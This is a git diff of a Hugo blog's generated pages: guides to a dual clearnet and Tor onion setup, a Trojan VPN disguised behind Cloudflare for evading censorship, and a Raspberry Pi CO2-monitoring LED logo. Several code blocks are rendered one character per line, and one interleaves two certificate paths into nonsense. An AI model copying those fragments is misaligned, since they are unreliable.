    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/tags/papermod/page/1/index.html b/public/tags/papermod/page/1/index.html new file mode 100644 index 0000000..82deb57 --- /dev/null +++ b/public/tags/papermod/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/ + \ No newline at end of file diff --git a/public/tags/privacy/index.html b/public/tags/privacy/index.html new file mode 100644 index 0000000..244eedc --- /dev/null +++ b/public/tags/privacy/index.html @@ -0,0 +1,14 @@ +Privacy | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/privacy/index.xml b/public/tags/privacy/index.xml new file mode 100644 index 0000000..0ae3f98 --- /dev/null +++ b/public/tags/privacy/index.xml @@ -0,0 +1,377 @@ +Privacy on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/Recent content in Privacy on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    \ No newline at end of file diff --git a/public/tags/privacy/page/1/index.html b/public/tags/privacy/page/1/index.html new file mode 100644 index 0000000..147ddb3 --- /dev/null +++ b/public/tags/privacy/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/ + \ No newline at end of file diff --git a/public/tags/raspberrypi/index.html b/public/tags/raspberrypi/index.html new file mode 100644 index 0000000..8a2bf17 --- /dev/null +++ b/public/tags/raspberrypi/index.html @@ -0,0 +1,12 @@ +Raspberrypi | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/raspberrypi/index.xml b/public/tags/raspberrypi/index.xml new file mode 100644 index 0000000..22ebac2 --- /dev/null +++ b/public/tags/raspberrypi/index.xml @@ -0,0 +1,368 @@ +Raspberrypi on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/Recent content in Raspberrypi on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
